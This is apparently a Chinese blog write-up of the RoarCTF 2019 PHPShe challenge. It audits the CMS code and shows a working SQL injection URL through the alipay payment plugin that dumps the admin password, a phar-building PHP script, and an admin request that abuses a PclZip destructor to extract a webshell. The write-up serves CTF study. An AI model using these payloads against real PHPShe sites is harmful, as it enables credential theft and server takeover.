[RoarCTF 2019]PHPShe

知识点: phpshe cms 代码审计(代码对比,phar 反序列化,sql突破安全函数)

前台 sql 注入 获取密码

先看一下它对参数做了什么处理(common.php),在参数前加上了 _g_

if (get_magic_quotes_gpc()) {
	!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
	!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
	!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
	!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}

include/function/global.func.php 中的 pe_dbhold 是防 sql 注入的,对字符串或者数组调用 addslashes() 转义,把一些字符实体化。

突破安全函数常见的有如下几种情况:

1. 不需要单引号的注入点 2. 数组的键名带入SQL语句中 3. 宽字节等可吃掉反斜线。
function pe_dbhold($str, $exc=array())
{
	if (is_array($str)) {
		foreach($str as $k => $v) {
			$str[$k] = in_array($k, $exc) ? pe_dbhold($v, 'all') : pe_dbhold($v);
		}
	}
	else {
		//$str = $exc == 'all' ? mysql_real_escape_string($str) : mysql_real_escape_string(htmlspecialchars($str));
		$str = $exc == 'all' ? addslashes($str) : addslashes(htmlspecialchars($str));
	}
	return $str;
}

入口文件位于 include/plugin/payment/alipay/pay.php$_GET['id'] 经过 pe_dbhold() 函数处理后赋值给 $order_id,然后 $order_id 被带入 order_table() 函数。

$order_id = pe_dbhold($_g_id);
$order_id = intval($order_id);
$order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id));

hook/order.hook.php 下的 order_table 判断表名中有没有下划线,若有则取下划线前一部分,加到 order_ 后面,若没有则直接返回 order,这边的表名我们能控制一部分

function order_table($id) {
	if (stripos($id, '_') !== false) {
		$id_arr = explode('_', $id);
		return "order_{$id_arr[0]}";
	}
	else {
		return "order";	
	}
}

\source\include\class\db.class.php 下的 pe_select 执行 sql 语句,且这边的表名没有用单引号,所以可以绕过 addslashes,我们只要闭合一下就可以 sql 注入了,这边为了防止报错,最好找一个表名中有 order_ ,这里只有 pe_order_pay 符合。

public function pe_select($table, $where = '', $field = '*')
	{ 	
		//处理条件语句
		$sqlwhere = $this->_dowhere($where);
		return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
	}

payload:查询admin密码

/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,((select`3`from(select%201,2,3,4,5,6%20union%20select%20*%20from%20admin)a%20limit%201,1)),4,5,6,7,8,9,10,11,12%23_ 

账号密码:admin/altman777
在这里插入图片描述

反序列化

这边学到了一个新的思路,可以用 Diffinity 把题目的源码和 PHPshe 官网的源码进行对比,在 /include/class/pclzip.class.phpPclZip 类中加了一个析构函数。
在这里插入图片描述
可以直接反序列化然后解压文件,且路径可控,那么我们只要上传一个压缩后的 webshell,并控制解压文件的路径到可访问的目录就可以获得 webshell,那么在哪边反序列化呢?

moban.phpdel 功能下调用了 pe_dirdel,而 pe_dirdel 里面的 is_file 可以触发 phar 反序列化。(注意:是需要 token 的)

case 'del':
		pe_token_match();
		$tpl_name = pe_dbhold($_g_tpl);
		if ($tpl_name == 'default') pe_error('默认模板不能删除...');
		if ($db->pe_num('setting', array('setting_key'=>'web_tpl', 'setting_value'=>$tpl_name))) {
			pe_error('使用中不能删除');
		}
		else {
			pe_dirdel("{$tpl_name}");
			pe_success('删除成功!');
		}
function pe_dirdel($dir_path)
{
	$dir_path = str_replace("..", " ", $dir_path);
	if (is_file($dir_path)) {
		#unlink($dir_path);
	}
	else {
		$dir_arr = glob(trim($dir_path).'/*');
		if (is_array($dir_arr)) {
			foreach ($dir_arr as $k => $v) {
				pe_dirdel($v, $type);
			}	
		}
		#rmdir($dir_path);
	}
}

构造 phar 文件,只需要改 zipnamesave_path 属性,其他的照搬,最后把 phar 后缀改为 phar.txt,上传到品牌管理。

<?php 
class PclZip{
    var $zipname = '';
    var $zip_fd = 0;
    var $error_code = 1;
    var $error_string = '';
    var $magic_quotes_status;
    var $save_path = '/var/www/html/data';

    function __construct($p_zipname){
        
        $this->zipname = $p_zipname;
        $this->zip_fd = 0;
        $this->magic_quotes_status = -1;

        return;
    }

}

$a=new PclZip("/var/www/html/data/attachment/brand/1.zip");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
 ?>

上传后的文件名为 ID号.xxx

在这里插入图片描述
payload:
在 moban 的 del 处触发 phar,把压缩后的 webshell 解压到 data/xxx.php

admin.php?mod=moban&act=del&token=c740493955d5ca97a92ffee76d5938cc&tpl=phar:///var/www/html/data/attachment/brand/2.txt

在这里插入图片描述

reference

https://anquan.baidu.com/article/697
https://blog.csdn.net/mochu7777777/article/details/107550135
PHPSHE基本资料】: 当前版本:PHPSHE B2C商城系统v1.4(build 20150515 UTF8) 官方网站:http://www.phpshe.com/phpshe 演示网站:http://www.phpshe.com/demo/phpshe 【PHPSHE系统简介】: PHPSHE商城系统是将商品管理、品牌管理、规格管理、促销管理、优惠券管理、在线购物、订单管理、支付管理、文章管理、会员管理、权限管理、通知管理、咨询评价、数据统计等功能相结合,并提供了简易的操作、实用的功能,快速让用户建立独立个性化的网上商店,为用户提供了一个低成本、高效率的网上商城建设方案。 【PHPSHE功能概述】: 软件适用于于各行业产品销售的商家,主要包括有以下功能: 01. 管理员发布、修改,删除商品信息,商品多级分类检索、多属性检索等; 02. 管理员可以对商品品牌名称,图片,描述等管理; 03. 管理员可以对商品规格管理,如:尺寸,颜色,套餐等; 04. 管理员对商品咨询管理,商品评价管理; 05. 管理员对商品活动管理,优惠券管理; 06. 订单流程清晰,可及时便捷查询,修改和处理订单信息; 07. 会员积分体系,有效增加客户回购率及粘性; 08. 详细统计功能,实时显示每日订单情况,访客流量,热销排行,消费排行; 09. 管理员对文章分类管理、文章管理、单页信息管理; 10. 管理员对会员信息管理,管理帐号管理,管理权限管理; 11. 管理员对网站整体基本信息的系统设置; 12. 集成支付宝线、下转帐/汇款、货到付款、网银等接口方便用户支付; 13. 邮件实时提醒,随时随地掌握网站注册,下单,付款,发货等情况; 14. 便捷模板中心,一键轻松更换不同风格的模板; 15. 高效缓存处理,提高系统的运行效率; 16. 一键对网站进行备份恢复,保障数据安全; 17. 支持首页导航、友情链接、首页广告图管理; 18. 会员注册、登录,订单查询,积分明细,优惠券,咨询,评价及商品收藏等。 【PHPSHE技术规格】: PHP + Mysql,前端URL伪静态 【PHPSHE安装说明】: 1.用FTP工具(如flashfxp)把程序上传到服务器; 2.给./config.php文件、./install目录、./data目录及其子目录,加 777 权限(即读写权限); 3.访问http://您的网址/install进行安装。 【PHPSHE升级说明】: 老版本升级至1.4版本,请先上传PHPSHE1.4程序中的 ./install目录,然后访问 http://您的网址/install/update 按教程进行升级; 【PHPSHE1.4更新详情】 [新增]分类自定义标题,关键词及描述 [新增]产品自定义关键词和描述 [新增]订单按帐号,时间段筛选 [新增]开启和关闭游客购买设置 [新增]广告位显示隐藏 [新增]订单邮件通知,邮件队列记录 [新增]群发邮件通知 [新增]积分功能,积分明细 [新增]用户注册归属地 [新增]特价活动,优惠券 [新增]订单统计,销量排行,消费排行 [新增]管理员权限 [新增]热门搜索 [修正]支付宝及网银支付sql注入 [修正]后台及会员中心csrf漏洞 [修正]用户名,邮箱服务器端检测 [修正]缓存反斜杠出错 [修正]后台登录权限bug [修正]广告修改位置bug [修正]个别PHP环境验证码不显示 [优化]资讯中心和帮助中心 [优化]订单流程及用户体验 [优化]订单号升级到15位 [优化]品牌相关功能 [优化]商品添加规格流程 [优化]管理后台操作界面及用户体验 [优化]提升前台图片加载速度 [优化]重写产品缩略图原理,高清不变形 [优化]重新设计会员中心界面 [优化]重新设计登录注册页面 [优化]更新dialog版本 [优化]更新编辑器版本 [优化]评价2星变更为差评 [优化]在线客服样式 [优化]验证码类 [优化]缓存模块 [优化]数据备份 [移除]微博设置
PHPSHE商城系统是将商品管理、品牌管理、在线购物、订单管理、支付管理、文章管理、会员管理、客户咨询评价、数据统计等功能相结合,并提供了简易的操作、实用的功能,快速让用户建立独立个性化的网上商店,为用户提供了一个低成本、高效率的网上商城建设方案。操作简单好用,会上网者就可以操作。 PHPSHE功能概述: 软件适用于于各行业产品销售的商家,主要包括有以下功能: (1)管理员发布、修改,删除商品信息,商品多级分类检索、关键词模糊搜索等; (2)管理员可以对商品品牌名称,图片,描述等管理; (3)管理员可以对商品规格管理,如:尺寸,颜色,套餐等; (4)管理员对商品咨询管理,商品评价管理; (5)订单流程清晰,可及时便捷查询和修改订单信息; (6)管理员对文章分类管理、文章管理、单页信息管理; (7)管理员对会员信息管理,管理帐号管理; (8)管理员对网站整体基本信息的系统设置; (9)订单支付方式集成支付宝即时到帐,担保交易,双功能收款,线下转帐/汇款,货到付款,网银等接口方便用户支付; (10)详细的统计功能,管理员可以实时看到每日订单,网站访客流量情况,提高订单转化率; (11)数据缓存处理,提高系统的运行效率; (12)一键对网站进行备份恢复,保障数据安全; (13)支持首页导航、友情链接、首页广告图管理; (14)会员注册、登录,查询历史订单,咨询,评价以及商品收藏等。 PHPSHE安装说明: 1.用FTP工具(如flashfxp)把程序上传到服务器; 2.给./config.php文件、./install目录、./data目录及其子目录,加 777 权限(windows服务器可忽略此步); 3.访问http://您的网址/install进行安装。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值